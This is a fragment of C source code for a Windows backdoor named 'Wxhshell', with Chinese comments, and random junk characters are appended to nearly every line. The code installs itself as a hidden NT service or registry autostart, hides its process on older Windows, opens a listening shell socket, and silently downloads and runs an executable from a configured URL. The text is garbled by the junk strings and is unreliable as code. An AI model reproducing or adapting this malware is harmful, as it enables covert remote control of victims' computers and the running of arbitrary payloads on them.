ULONG InheritedFromUniqueProcessId; gl]E_%tH
} PROCESS_BASIC_INFORMATION; cetvQAGXY
[xT:]Pw}
PROCNTQSIP NtQueryInformationProcess; EZYBeqv
9
Rx
s
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QMsHC%l3b
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2CzaL,je[
]r-C1bKD`
HANDLE hProcess; 11,!XD*"
PROCESS_BASIC_INFORMATION pbi; efD)S92
;A'":vXmc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cW{1
Pz^_
if(NULL == hInst ) return 0; iR\Hv'|
0jzbG]pc:E
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @o-B{EH8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l$YC/bP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fd#jY}
vAX|hwn;
if (!NtQueryInformationProcess) return 0; vBsP+K
Q43|U4a
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NBF MN%
if(!hProcess) return 0; 8kbY+W%n
,&d@O>$E:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t!2(7=P30(
Qjnd6uv{I
CloseHandle(hProcess); @G:V
q|%(3,)ig
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'oN\hy($,h
if(hProcess==NULL) return 0; fl;s9:<
kEO7PK/
HMODULE hMod; 0[F:'_
char procName[255]; fS:1^A2,
unsigned long cbNeeded; @m?QR(LJ
!I\!;b
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &h~Xq^
4HAp{a1
CloseHandle(hProcess); ||zb6|7I4
:iiw3#]
if(strstr(procName,"services")) return 1; // 以服务启动 qClHP)<
HK~xOAF
return 0; // 注册表启动 )9S>ZZF
} }@+NN
?P
q\rC5gk>
// 主模块 &wU'p-V
int StartWxhshell(LPSTR lpCmdLine) 8_&CT
:u>
{ BI:k#jO!
SOCKET wsl; *0_yT$
BOOL val=TRUE; 9=,uq;
int port=0; zyg:nKQW
struct sockaddr_in door; m>}8'N)
/cK%n4l.y
if(wscfg.ws_autoins) Install(); IG?'zppjd6
m'-|{c
port=atoi(lpCmdLine); `funE:>,
`]v[5E
if(port<=0) port=wscfg.ws_port; )>7%pz
5[{*{^F4
WSADATA data; Jd,)a#<j
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; f1PN|
"C?5f]T
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F/1#l@qN
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +
<c^=&7Lq
door.sin_family = AF_INET; s!+"yK
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Iq'/r
door.sin_port = htons(port); z5*=MlZ)R.
jEz+1Nl)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @=5qT]%U3J
closesocket(wsl); :y2p@#l#
return 1; +uWYK9
} UwY-7Mmo
8SmnMt
if(listen(wsl,2) == INVALID_SOCKET) { hSGb-$~F
closesocket(wsl); O g%U
return 1; L0%hnA@
} U6[ang'l
Wxhshell(wsl); zciCcrJ
WSACleanup(); @mt0kV9
\uG`|Dn
return 0; YHV-|UNF
K~RoUE<3[
} /?/#B `
W/=|/-\]/
// 以NT服务方式启动 f-2$
L
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8_H=^a>2
{ _)$PKOzbb
DWORD status = 0; A\Txb_x
DWORD specificError = 0xfffffff; @^ ik[9^H
hIJ)MZU|
serviceStatus.dwServiceType = SERVICE_WIN32; ~^)^q8
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `A/j1UWJ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wzjU,Mwe
serviceStatus.dwWin32ExitCode = 0; .7ayQp
serviceStatus.dwServiceSpecificExitCode = 0; /q\_&@
serviceStatus.dwCheckPoint = 0; ~n!!jM:N
serviceStatus.dwWaitHint = 0; M!M!Ni
=\,
qP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :`vP}I ^
if (hServiceStatusHandle==0) return; 6qo^2
>cL{Ya}Rz
status = GetLastError(); DZ
^1s~
if (status!=NO_ERROR) 4y}"Hy
{ (/" &
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?v}Bd!'+P
serviceStatus.dwCheckPoint = 0; '[ P}&<ie,
serviceStatus.dwWaitHint = 0; !.5),2
serviceStatus.dwWin32ExitCode = status; MVv1.6c7Y
serviceStatus.dwServiceSpecificExitCode = specificError; {}>n{_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pN[0YmY#
return; IO.<q,pP!_
} o**y Z2
! o,5h|\
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]r]k-GZ$
serviceStatus.dwCheckPoint = 0; S\NL+V?7h
serviceStatus.dwWaitHint = 0; e yw'7
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~:sE:9$z
} o[6y+ <'o
;/AG@$)
// 处理NT服务事件,比如:启动、停止 TB
aVW
VOID WINAPI NTServiceHandler(DWORD fdwControl) J?:[$ C5
{ |f2A89
switch(fdwControl) YJ7V`Np
{ x;BbTBc>
case SERVICE_CONTROL_STOP: E^ h=!RW{
serviceStatus.dwWin32ExitCode = 0; q W^vz
serviceStatus.dwCurrentState = SERVICE_STOPPED; cX2^wu
serviceStatus.dwCheckPoint = 0; vC/[^
serviceStatus.dwWaitHint = 0; ?T:
jk4+
{ zjX7C~h^Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^DAa%u
} u>T76,8|\
return; jkrx]`A{~
case SERVICE_CONTROL_PAUSE: {GqXP0'
serviceStatus.dwCurrentState = SERVICE_PAUSED; U Lmg$T&
break; U!q[e`B
case SERVICE_CONTROL_CONTINUE: eQX`,9:5
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,35&G"JK5
break; @y~P&HUN
case SERVICE_CONTROL_INTERROGATE: Yig0/"
break; 17UK1Jx,
}; EH9Hpo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,qFA\cO*
} ~0tdfK0c
yDd[e]zS`
// 标准应用程序主函数 cHvF* A
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T.?k>Ak
{ (
76{2
-
HOnB=
// 获取操作系统版本 nf%4sIQ*x
OsIsNt=GetOsVer(); /-*hjX$n
GetModuleFileName(NULL,ExeFile,MAX_PATH); \MYU<6{u
(7q^FtjA#
// 从命令行安装 ,I*X)(
if(strpbrk(lpCmdLine,"iI")) Install(); m^Lj+=Z"
6517Km 4-
// 下载执行文件 M[Y4_$k<-
if(wscfg.ws_downexe) { $@[)nvV\
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =q
CF%~
WinExec(wscfg.ws_filenam,SW_HIDE); Xza4iV
} Etnb3<^[t
?g}kb
if(!OsIsNt) { >2-F2E,
// 如果时win9x,隐藏进程并且设置为注册表启动 Z^6#4Q]YC
HideProc(); a>Re^GT+z
StartWxhshell(lpCmdLine); b&t[S[P.V
} 2>y:N.
else $Lq:=7&LRn
if(StartFromService()) Sni=gZ K
// 以服务方式启动 #3.)H9
StartServiceCtrlDispatcher(DispatchTable); *%- ?54B
else -Ds|qzrN%
// 普通方式启动 LF=c^9t
StartWxhshell(lpCmdLine); Kmry=`=A
LcUlc)YH5
return 0; r\mPIr|
}